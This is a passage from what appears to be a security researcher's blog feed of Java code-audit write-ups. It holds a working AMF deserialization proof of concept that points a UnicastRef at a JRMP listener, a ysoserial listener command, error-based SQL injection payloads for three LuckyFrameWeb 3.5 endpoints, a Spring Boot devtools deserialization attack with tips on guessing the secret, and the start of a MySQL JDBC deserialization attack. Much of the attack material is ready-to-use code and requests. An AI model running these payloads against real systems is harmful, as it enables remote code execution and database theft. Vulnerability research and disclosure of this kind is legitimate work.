class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">    <span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">boolean</span> preregistered = <span class="hljs-keyword">false</span>;<br><br>...<br><br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> PropertyProxyRegistry <span class="hljs-title">getRegistry</span><span class="hljs-params">()</span> </span>&#123;<br>        <span class="hljs-keyword">if</span> (!preregistered) &#123;<br>            preRegister();<br>            preregistered = <span class="hljs-keyword">true</span>;<br>        &#125;<br><br>        <span class="hljs-keyword">return</span> registry;<br>    &#125;<br><br>    <span class="hljs-function"><span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">preRegister</span><span class="hljs-params">()</span> </span>&#123;<br>        ThrowableProxy proxy = <span class="hljs-keyword">new</span> ThrowableProxy();<br>        registry.register(MessageException.class, proxy);<br>        registry.register(LocalizedException.class, proxy);<br>        registry.register(Throwable.class, proxy);<br>        MapProxy mapProxy = <span class="hljs-keyword">new</span> MapProxy();<br>        registry.register(ASObject.class, mapProxy);<br>        registry.register(HashMap.class, mapProxy);<br>        registry.register(AbstractMap.class, mapProxy);<br>        registry.register(Map.class, mapProxy);<br>    &#125;<br></code></pre></div></td></tr></table></figure><p>所以流程会将对象传入<code>createDefaultInstance</code>方法进行实例化</p><p><img src="/images/105/1WeQ-3-D-59SeZn0NpaWKnXLfxno-DRfBFDvbWcAV7g.png" alt="image"></p><p>查看<code>createDefaultInstance</code>可以看到返回了一个实例化对象</p><p><img src="/images/105/5EBp9ag3ACuGWedcGk5NXOh7AtfibKe5d1rO_YBBqsQ.png" alt="image"></p><p>在获得一个实例化对象后，会判断该对象是否实现了<code>Externalizable</code>接口，如果实现了则进入<code>readExternalizable</code>方法，在该方法里使用<code>readExternal</code>方法进行反序列化，漏洞在此触发</p><p><img src="/images/105/neVtssTKOGuD6-SIRPNpYLo54BYxyBYHBOXNtowHcKc.png" alt="image"></p><p>按照流程，想要利用这一步的反序列化，需要找一个实现了<code>Externalizable</code>接口且有公共无参构造函数的利用链，比如<code>sun.rmi.server.UnicastRef</code></p><p><img src="/images/105/hLD8-MFTrt561W6Gx3wYEfTBDP8MpITd5YtPXanfxWM.png" alt="image"></p><p><img src="/images/105/ejsHZgzi-oZrsQDnVS_D0eDUmyJmnTjgTAxJ0XRIB0.png" alt="image"></p><p>改一下<code>ysoserial</code>的<code>JRMPClient</code>即可得到一个POC：</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java"><span class="hljs-keyword">import</span> flex.messaging.io.SerializationContext;<br><span class="hljs-keyword">import</span> flex.messaging.io.amf.*;<br><span class="hljs-keyword">import</span> org.apache.commons.beanutils.BeanComparator;<br><span class="hljs-keyword">import</span> org.apache.commons.collections.Transformer;<br><span class="hljs-keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;<br><span class="hljs-keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;<br><span class="hljs-keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;<br><span class="hljs-keyword">import</span> org.apache.commons.collections.keyvalue.TiedMapEntry;<br><span class="hljs-keyword">import</span> org.apache.commons.collections.map.LazyMap;<br><span class="hljs-keyword">import</span> ysoserial.payloads.util.Gadgets;<br><span class="hljs-keyword">import</span> ysoserial.payloads.util.Reflections;<br> <br><span class="hljs-keyword">import</span> javax.management.BadAttributeValueExpException;<br><span class="hljs-keyword">import</span> java.io.ByteArrayInputStream;<br><span class="hljs-keyword">import</span> java.io.ByteArrayOutputStream;<br><span class="hljs-keyword">import</span> java.io.IOException;<br><span class="hljs-keyword">import</span> java.lang.reflect.Field;<br><span class="hljs-keyword">import</span> java.math.BigInteger;<br><span class="hljs-keyword">import</span> java.util.HashMap;<br><span class="hljs-keyword">import</span> java.util.Map;<br><span class="hljs-keyword">import</span> java.util.PriorityQueue;<br> <br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Author</span>:novy</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Date</span>:13:44 2022/5/30</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@Version</span> 1.0</span><br><span class="hljs-comment"> **/</span><br><span class="hljs-keyword">public</span> <span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">AMFEXPLoit</span> </span>&#123;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">main</span><span class="hljs-params">(String[] args)</span> <span class="hljs-keyword">throws</span> Exception </span>&#123;<br>        Object object = GetObject(<span class="hljs-string">&quot;192.168.31.169&quot;</span>,<span class="hljs-number">1234</span>);<span class="hljs-comment">//JRMP启动地址、端口</span><br> <br>        <span class="hljs-comment">// 序列化对象，生成AMF Message对象</span><br>        <span class="hljs-keyword">byte</span>[] amf = serialize(object);<br>        System.out.println(<span class="hljs-string">&quot;序列化：&quot;</span> + amf);<br> <br>        <span class="hljs-comment">// 反序列化对象</span><br>        ActionMessage actionMessage = deserialize(amf);<br>        System.out.println(<span class="hljs-string">&quot;反序列化：&quot;</span> + actionMessage);<br>    &#125;<br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> Object <span class="hljs-title">GetObject</span><span class="hljs-params">(String host,<span class="hljs-keyword">int</span> port)</span> <span class="hljs-keyword">throws</span> Exception </span>&#123;<br>         ObjID id = <span class="hljs-keyword">new</span> ObjID(<span class="hljs-keyword">new</span> Random().nextInt()); <span class="hljs-comment">// RMI registry</span><br>        TCPEndpoint te = <span class="hljs-keyword">new</span> TCPEndpoint(host, port);<br>        UnicastRef ref = <span class="hljs-keyword">new</span> UnicastRef(<span class="hljs-keyword">new</span> LiveRef(id, te, <span class="hljs-keyword">false</span>));<br>        <span class="hljs-keyword">return</span> ref;<br>    &#125;<br>    <span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> <span class="hljs-keyword">byte</span>[] serialize(Object data) <span class="hljs-keyword">throws</span> IOException &#123;<br>        MessageBody body = <span class="hljs-keyword">new</span> MessageBody();<br>        body.setData(data);<br>        ActionMessage message = <span class="hljs-keyword">new</span> ActionMessage();<br>        message.addBody(body);<br>        ByteArrayOutputStream out = <span class="hljs-keyword">new</span> ByteArrayOutputStream();<br>        AmfMessageSerializer serializer = <span class="hljs-keyword">new</span> AmfMessageSerializer();<br>        serializer.initialize(SerializationContext.getSerializationContext(), out, <span class="hljs-keyword">null</span>);<br>        serializer.writeMessage(message);<br>        <span class="hljs-keyword">return</span> out.toByteArray();<br>    &#125;<br> <br>    <span class="hljs-function"><span class="hljs-keyword">public</span> <span class="hljs-keyword">static</span> ActionMessage <span class="hljs-title">deserialize</span><span class="hljs-params">(<span class="hljs-keyword">byte</span>[] amf)</span> <span class="hljs-keyword">throws</span> ClassNotFoundException, IOException </span>&#123;<br>        ByteArrayInputStream in = <span class="hljs-keyword">new</span> ByteArrayInputStream(amf);<br>        AmfMessageDeserializer deserializer = <span class="hljs-keyword">new</span> AmfMessageDeserializer();<br>        deserializer.initialize(SerializationContext.getSerializationContext(), in, <span class="hljs-keyword">null</span>);<br>        ActionMessage actionMessage = <span class="hljs-keyword">new</span> ActionMessage();<br>        deserializer.readMessage(actionMessage, <span class="hljs-keyword">new</span> ActionContext());<br>        <span class="hljs-keyword">return</span> actionMessage;<br>    &#125;<br>&#125;<br></code></pre></div></td></tr></table></figure><p>服务器启动JRMP，运行POC</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">java -cp ysoserial-<span class="hljs-number">1.0</span>.jar ysoserial.exploit.JRMPListener <span class="hljs-number">1234</span> ROME <span class="hljs-string">&quot;calc&quot;</span><br></code></pre></div></td></tr></table></figure><p><img src="/images/105/HsII9jFj6j5QOP5qTdb5amt5Vu2vQJvHMklAZQU5Cmc.png" alt="image"></p><p>当然这只是基于实现了<code>Externalizable</code>接口的反序列化利用，在判断即使没有实现<code>Externalizable</code>，流程依旧会往下走其他反序列化逻辑，也就是说，哪怕没有实现<code>Externalizable</code>接口，也可以找实现了<code>Serializable</code> 接口的链来进行利用，当然还是需要有公共无参构造方法</p><p> </p><h1 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h1><p>写了个利用工具<br><a href="https://github.com/novysodope/AMF_JRMP">https://github.com/novysodope/AMF_JRMP</a></p><p>不出网参考<br><a href="https://github.com/codewhitesec/ColdFusionPwn">https://github.com/codewhitesec/ColdFusionPwn</a><br>ColdFusionPwn直接下载他的发布版本使用会提示找不到主类，建议下载源码用idea运行，参数直接<code>[-s|-e] [payload type] &#39;[command]&#39; [outfile] </code></p><h1 id="Tips"><a href="#Tips" class="headerlink" title="Tips"></a>Tips</h1><p>在往后的审计中，如果看到有引用</p><figure class="highlight"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">&lt;dependency&gt;<br>&lt;groupId&gt;org.apache.flex.blazeds&lt;/groupId&gt;<br>&lt;artifactId&gt;flex-messaging-core&lt;/artifactId&gt;<br>&lt;version&gt;4.7.2&lt;/version&gt;<br>&lt;/dependency&gt;<br></code></pre></div></td></tr></table></figure><p>或者jar包中用到这种的</p><p><img src="/images/105/wfjgdK38fKyA5Ts7GDyJmFt0IwEgqANTStMI9ey5ZDM.png" alt="image"></p><p>基本可以确定存在flex相关漏洞</p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>luckyframeweb3.5 sql inject 3</title>
    <link href="/2022/05/11/80/"/>
    <url>/2022/05/11/80/</url>
    
    <content type="html"><![CDATA[<p>src/main/resources/mybatis/system/UserMapper.xml</p><p>There is a ${} in this mapper</p><p><img src="/images/80/oNabUuGm31i1FzO2W-eO4_E-CNyFhZTR6UZMaX9E9Io.png" alt="image"></p><p>Search <code>selectUserList</code> to see where the this <code>select id</code> is used：</p><p><img src="/images/80/5DBJ9nmXqLwZytGb8p10kHm35utrGfd3g8DMyIjZeGY.png" alt="image"><br>UserController.java</p><p>Query user information：</p><p><img src="/images/80/SVC0cqWrl1SMhogQllflL_tNeTlVLlI7aWDgE12WXxU.png" alt="image"></p><p>Follow up the selectUserList method to see the specific implementation：</p><p>UserServiceImpl.java</p><p><img src="/images/80/U0b7jALz40x4s_PDnCEbd6cRj_ltFeDViGUI3K-fd0M.png" alt="image"><br>The parameters in the User are passed into the mapper for SQL operation. Because the datascope is controllable, the vulnerability is generated</p><p> </p><p>Verification:</p><p>Splice URL and parameters according to code:</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash"><br>http://127.0.0.1/system/user/list<br>params[dataScope]=<br></code></pre></div></td></tr></table></figure><p>Use error injection to query the database version：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash"><br>params[dataScope]=and+extractvalue(1,concat(0x7e,substring((select+version()),1,32),0x7e))<br></code></pre></div></td></tr></table></figure><p><img src="/images/80/9irb6YHVLEdMycxmmA1OUUlqW_XMGnnydgkuc7L94h4.png" alt="image"></p><p>Select database name:</p><p><img src="/images/80/aSWXZaUFDY4mpgaM5VRj7VrAxTxUwnTh00n_hEHKQqo.png" alt="image"></p><p> </p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>java代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>luckyframeweb3.5 sql inject 2</title>
    <link href="/2022/05/11/79/"/>
    <url>/2022/05/11/79/</url>
    
    <content type="html"><![CDATA[<p>src/main/resources/mybatis/system/DeptMapper.xml</p><p>There is a ${} in this mapper</p><p><img src="/images/79/SkjA0-mY8dahaO975KfepyM6zmlONmt_0AsyixFwhwI.png" alt="image"></p><p>Search <code>selectDeptList</code> to see where the this <code>select id</code> is used：</p><p><img src="/images/79/fcDQVe0XBgA2CaUndp2YTJWTV5Qeiu_b6C-1i2A5xcQ.png" alt="image"></p><p>/DeptController.java</p><p>Query dept information：</p><p><img src="/images/79/NVlLRULlsZkCLKL49NyJXSnfKLxOlYZt9wM4vplelE8.png" alt="image"></p><p>Follow up the selectDeptList method to see the specific implementation：</p><p>/DeptServiceImpl.java</p><p><img src="/images/79/H0b-JOySAi-mE1ZABEFMPvQM_ctQZeyurbDOD05vhbY.png" alt="image"><br>The parameters in the Dept are passed into the mapper for SQL operation. Because the datascope is controllable, the vulnerability is generated</p><p><img src="/images/79/pf_LWUAA_bFQqFwYSCPCOPHYCSuybC7YLvfLLb54y8.jpeg" alt="image"></p><p> </p><p>Verification:</p><p>Splice URL and parameters according to code:</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash"><br>http://127.0.0.1/system/dept/list?params[dataScope]=<br><br></code></pre></div></td></tr></table></figure><p>Use error injection to query the database version：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash"><br>params[dataScope]=and+extractvalue(1,concat(0x7e,substring((select+version()),1,32),0x7e))<br></code></pre></div></td></tr></table></figure><p><img src="/images/79/1.png" alt="image"></p><p>Select database name:</p><p><img src="/images/79/2.png" alt="image"></p><p> </p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>java代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>luckyframeweb3.5 sql inject 1</title>
    <link href="/2022/05/11/78/"/>
    <url>/2022/05/11/78/</url>
    
    <content type="html"><![CDATA[<p>src/main/resources/mybatis/system/RoleMapper.xml</p><p>There is a ${} in this mapper</p><p><img src="/images/78/g1XkDlhKzKB-5sGwAKwSNoW6QxRwqYx5Oxt0Au55CS4.png" alt="image"></p><p>Search <code>selectrolelist</code> to see where the this <code>select id</code> is used：</p><p><img src="/images/78/uI7bjoEFUG0I9RzUk3ossvHZGnh3FIsbISErl2NJB60.png" alt="image"></p><p>src/main/java/com/luckyframe/project/system/role/controller/RoleController.java</p><p>Query role information：</p><p><img src="/images/78/edkYvIWxs8yufE8G8tpc7wtiVgLZLuxS7Hn-g4CrUNQ.png" alt="image"></p><p>Follow up the selectrolelist method to see the specific implementation：</p><p>src/main/java/com/luckyframe/project/system/role/service/RoleServiceImpl.java</p><p><img src="/images/78/ptxGjX4bB80yWREVyB0tkyy62nGlWXyoMHwj50GCjnY.png" alt="image"></p><p>The parameters in the role are passed into the mapper for SQL operation. Because the datascope is controllable, the vulnerability is generated</p><p><img src="/images/78/h68TYarlrPvohPSNqXZxhkxHBb_IK1gt8MMee7paG6o.png" alt="image"></p><p> </p><p>Verification:</p><p>Splice URL and parameters according to code:</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash"><br>http://127.0.0.1/system/role/list<br><br>params[dataScope]<br></code></pre></div></td></tr></table></figure><p>Use error injection to query the database version：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash"><br>params[dataScope]=and+extractvalue(1,concat(0x7e,substring((select+version()),1,32),0x7e))<br></code></pre></div></td></tr></table></figure><p><img src="/images/78/t_RfRWdVON6ZQUYVIQ23PptlfOtIJcZp103hav3yjxQ.png" alt="image"></p><p>Select database name:</p><p><img src="/images/78/2FshnyN3gnwL33Lzlyt9w19-eVql9Y5-hGw_trt1shY.png" alt="image"></p><p> </p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>java代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>Springboot devtools &lt;=2.6.4 rce</title>
    <link href="/2022/05/11/77/"/>
    <url>/2022/05/11/77/</url>
    
    <content type="html"><![CDATA[<p>Devtools is a hot deployment tool of spring boot. It can automatically load projects without manually restarting the spring boot application. During the development process, if we modify some java files, we may need to restart the project to view the modified results. If spring boot devtools is used, devtools will automatically restart the server for you when there are file changes in the classpath (Baidu.com’s introduction, in fact, you can customize the path according to your own situation).</p><p>First, look at the configuration information of devtools:</p><p><img src="/images/77/oYhePk35IdmG_OXoV5sReWV39Q8q5UufMHCY4WB05KY.png" alt="image"></p><p>Because all automatic configurations of springboot are performed by <code>xxxautoconfiguration</code>, it is known that:</p><p><code>jetbrains://idea/navigate/reference?project=spring-boot-demo&amp;path=~\.m2\repository\org\springframework\boot\spring-boot-devtools\2.6.4\spring-boot-devtools-2.6.4.jar!\org\springframework\boot\devtools\autoconfigure\RemoteDevToolsAutoConfiguration.class</code></p><p>is the automatic configuration class of devtools</p><p>This is for <code>spring devtools. remote. Implementation of secret </code> configuration.</p><p>View the process, first pass the values of <code>secretheadername</code> and ‘secret’ into the <code>httpheaderaccessmanager</code> class for processing:</p><p><img src="/images/77/W0WJA_P6VlKWxwLLS7_BFawLUkww4gGXTS7APtu4X50.png" alt="image"></p><p>Follow up <code>httpheaderaccessmanager</code> class:</p><p><img src="/images/77/jKn4Z_eF4JAGGbTE0rZlcc_czF8-6mtOtyB8fURm06A.png" alt="image"></p><p>In this class, a parameter <code>HeaderName</code> in the request header will be obtained for comparison. If the value of <code>HeaderName</code> is inconsistent with <code>expectedsecret</code>, 403 will be reported:</p><p><img src="/images/77/CbW-3jEVPW1uGVUz7PKQ60gDWYHkUzbLGVbbn_IFjJw.png" alt="image"></p><p><img src="/images/77/auc7i7lSfnaBvul_e-y9tX0wBG9stQVie4YzS5p1ddw.png" alt="image"></p><p>return <code>RemoteDevToolsAutoConfiguration</code></p><p>Follow up <code>DevToolsProperties</code>class see <code>SecretHeaderName、Secret</code>:</p><p><img src="/images/77/JmcSzvLVqpzadfeQhnjBr_rwKd3ujY6G24Vs2gGZW8E.png" alt="image"></p><p><code>jetbrains://idea/navigate/reference?project=spring-boot-demo&amp;path=~\.m2\repository\org\springframework\boot\spring-boot-devtools\2.6.4\spring-boot-devtools-2.6.4.jar!\org\springframework\boot\devtools\autoconfigure\DevToolsProperties.class</code></p><p><img src="/images/77/8iIJuqMOvywHUjj_cDtHAcPcoc8kS4AymvlQ7WQYTY8.png" alt="image"></p><p>Follow up <code>RemoteDevToolsProperties</code>，in the <code>getsecretheadername</code> method,<code>x-auth-token</code> is returned, that is, the HTTP header has an x-auth-token header.</p><p><img src="/images/77/BFXvq6Llx6APivbFjT7ViBAqTzKErHxYM3kwHalhiL8.png" alt="image"></p><p>the x-auth-token value</p><p><code>getsecret</code> is obtained from the configuration file:</p><p><img src="/images/77/c8pIgAeskrpHJerN2JeeGXJH02o07IkPJK155K8dQI4.png" alt="image"></p><p>Returning to <code>remotedevtoolsaccessmanager</code>, the <code>httpheaderaccessmanager</code> object returns the verification result of <code>x-auth-token: Secret</code>.</p><p>Continue to see vulnerabilities trigger key locations.</p><p>This part belongs to the <code>remoterestartconfiguration</code> static class, which is the devtools configuration implementation class:</p><p><img src="/images/77/dF76A76_SAT2u5rhJriYAQE3yT71L6HXWaORUenYbSk.png" alt="image"></p><p>View the <code>remoterestarthandlermapper</code> method</p><p>First, see to <code>properties.getRemote()</code>,follow up the <code>devtoolsproperties</code> class:</p><p><code>jetbrains://idea/navigate/reference?project=spring-boot-demo&amp;path=~\.m2\repository\org\springframework\boot\spring-boot-devtools\2.6.4\spring-boot-devtools-2.6.4.jar!\org\springframework\boot\devtools\autoconfigure\DevToolsProperties.class</code></p><p><img src="/images/77/uk5sfp8QZXFkB2SgUn3XmTC1c5FQYjl33cxLS0b-eFI.png" alt="image"></p><p>The <code>getremote</code> method returns the <code>remotedevtoolsproperties</code> object</p><p><img src="/images/77/UjH0QFgYdaYSiMRHC4zCru8C1MzLOPuUgXravuAnXGE.png" alt="image"></p><p>Follow up <code>remotedevtoolsproperties</code> object<br>This class returns various corresponding property values:</p><p><img src="/images/77/QDqXFPcGCrg0QhC2m1X73d6ODAuoo__dzUkih5s9Bws.png" alt="image"></p><p>The <code>getcontextpath</code> method returns the URL in the <code>remoterestarthandlermapper</code> method:</p><p><img src="/images/77/i9B7V50D59jIL4HFj56c5qTy78tADnoO03SRuoJhZAQ.png" alt="image"></p><p>The URL is <code> /~~ spring-boot!~/ restart</code>.<br>Then continue to watch <code>httprestartserverhandler</code></p><p><img src="/images/77/hY16YN_r9xNArzDDJexNfpanhSZxQrwtue_I3geWTdI.png" alt="image"></p><p>Follow up <code>HttpRestartServer</code> class:</p><p><img src="/images/77/lNTgJuZVkR9BlQ3MjW2EyiT-g02CWD86wLoBzeR66L8.png" alt="image"></p><p>In this class’s <code>Handle</code> method, obtain the request encapsulated as ObjectInputStream object, and then use ObjectInputStream’s ReadObject method,since the request is controllable, the vulnerability is formed.</p><h1 id="Verify-it："><a href="#Verify-it：" class="headerlink" title="Verify it："></a>Verify it：</h1><p> </p><p>Construct the request based on the analysis:</p><figure class="highlight plain"><figcaption><span>Text</span></figcaption><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs Plain">POST &#x2F;.~~spring-boot!~&#x2F;restart <br>HOST: 127.0.0.1<br>X-AUTH-TOKEN: The value here is the user-defined password in the configuration file. According to the use tutorial of devtools, it is found that most of them are mysecret and secret(default password, weak password). If you don&#39;t know the password, you can use script to guess the password. According to the previous analysis, if the password is wrong, it will report 403.  If the password is right, you will report an error when entering deserialization, so it will be prompted 500. You can guess the password according to these two mistakes.<br></code></pre></div></td></tr></table></figure><p>Dependency:</p><figure class="highlight plain"><figcaption><span>Text</span></figcaption><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs Plain">&lt;dependency&gt;<br> &lt;groupId&gt;org.springframework.boot&lt;&#x2F;groupId&gt;<br>    &lt;artifactId&gt;spring-boot-devtools&lt;&#x2F;artifactId&gt;<br>    &lt;scope&gt;runtime&lt;&#x2F;scope&gt;<br>    &lt;optional&gt;true&lt;&#x2F;optional&gt;<br>&lt;&#x2F;dependency&gt;<br></code></pre></div></td></tr></table></figure><p>idea will import 2.6.4</p><p><img src="/images/77/4iGbZUn8HShtqmHW8cCm5HKOlOToYUPB3wb3gou_46Y.png" alt="image"></p><p>Enable remote hot deployment in normal configuration<br><code>application.yml</code> configuration：</p><figure class="highlight plain"><figcaption><span>Text</span></figcaption><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs Plain">spring:<br>  devtools:<br>    restart:<br>      enabled: false  #Set hot deployment<br>      additional-paths: src&#x2F;main&#x2F;java #Restart directory<br>      exclude: WEB-INF&#x2F;**<br>    remote:<br>      secret: mysecret<br><br></code></pre></div></td></tr></table></figure><p><code>pom.xml</code> configuration：：</p><figure class="highlight plain"><figcaption><span>Text</span></figcaption><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs Plain"> &lt;plugin&gt;<br>                &lt;groupId&gt;org.springframework.boot&lt;&#x2F;groupId&gt;<br>                &lt;artifactId&gt;spring-boot-maven-plugin&lt;&#x2F;artifactId&gt;<br>                &lt;configuration&gt;<br>&lt;!-- Set to include devtools when packaging the project. If set to true, devtools -- &gt; will not be enabled after packaging the project--&gt;<br>                    &lt;excludeDevtools&gt;false&lt;&#x2F;excludeDevtools&gt;<br>                &lt;&#x2F;configuration&gt;<br>            &lt;&#x2F;plugin&gt;<br><br></code></pre></div></td></tr></table></figure><p>There will be a prompt after the project is started</p><p><img src="/images/77/bgYqKL3tfBjT_HByg0cIztEVDkn7syhXW4U8JR9Fv3g.png" alt="image"></p><p>use python writes a PoC to send data</p><p>Send the serialized malicious data to the target to trigger:</p><p><img src="/images/77/S6b_3ebuYEa2Vs5PpauA1Q21JzRaM1gHxvw4KP768tA.png" alt="image"></p><p>I found the vulnerability and contacted the spring, but the spring thought they explained the problem in the document, and suggested that the developer change <code>&lt;excludedevtools&gt; false &lt;/excludedevtools&gt;</code> to <code>true</code> before releasing the formal environment, so that the production environment will not enable devtools, so it is not a vulnerability.</p><p>But I still think this is a risk. I suggest rewriting resolveclass and setting a deserialized object type of white list to avoid malicious deserialization.</p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>java代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>某报表微服务jdbc反序列化</title>
    <link href="/2022/05/09/98/"/>
    <url>/2022/05/09/98/</url>
    
    <content type="html"><![CDATA[<figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">ConfigController.class<br></code></pre></div></td></tr></table></figure><p><code>saveDBInfo</code>方法中有一个文件配置，将参数传进<code>saveConfig</code>进行处理</p><p><img src="/images/98/tYsUKszy4ORRJbOINNDMbSM-YzUR_fMvsSDuBfvna3s.jpg" alt="image"></p><p>参数表现为</p><p><img src="/images/98/epjjQA-7JsYSQHCjnJ-ZcK8SMENdBoZ5279-MtGkOBo.jpg" alt="image"></p><p>在<code>saveConfig</code>方法中，会对配置做一次测试连接</p><figure class="highlight java"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs java">ReportServiceUtil.class<br></code></pre></div></td></tr></table></figure><p><img src="/images/98/p-Q8hBN1yGwxAcrrr2MaTZ-k1Ya2pnmKrUx0DJZ5cI.jpg" alt="image"></p><p><img src="/images/98/KXW7_UIBnN6vylsHSU3WD_rW8PkQzs00rWMa4BEX1e8.jpg" alt="image"></p><p>而该应用默认带有一个含有漏洞版本的mysqlDriver</p><p><img src="/images/98/SFzDPMvc6-ldrO3nv_zNKJUkR6TjCHH30ddhiFNKM2I.png" alt="image"></p><p>由于数据源地址可控导致可以利用mysql jdbc反序列化漏洞进行攻击</p><p>验证：</p><p>使用<code>MySQL_Fake_Server</code>工具启动一个服务</p><p>利用依赖中的cb链执行命令</p><p><img src="/images/98/yQ680Ps1xCg7-RTjQsw2_5tNY-bQ01voaeuNfPh0qH4.png" 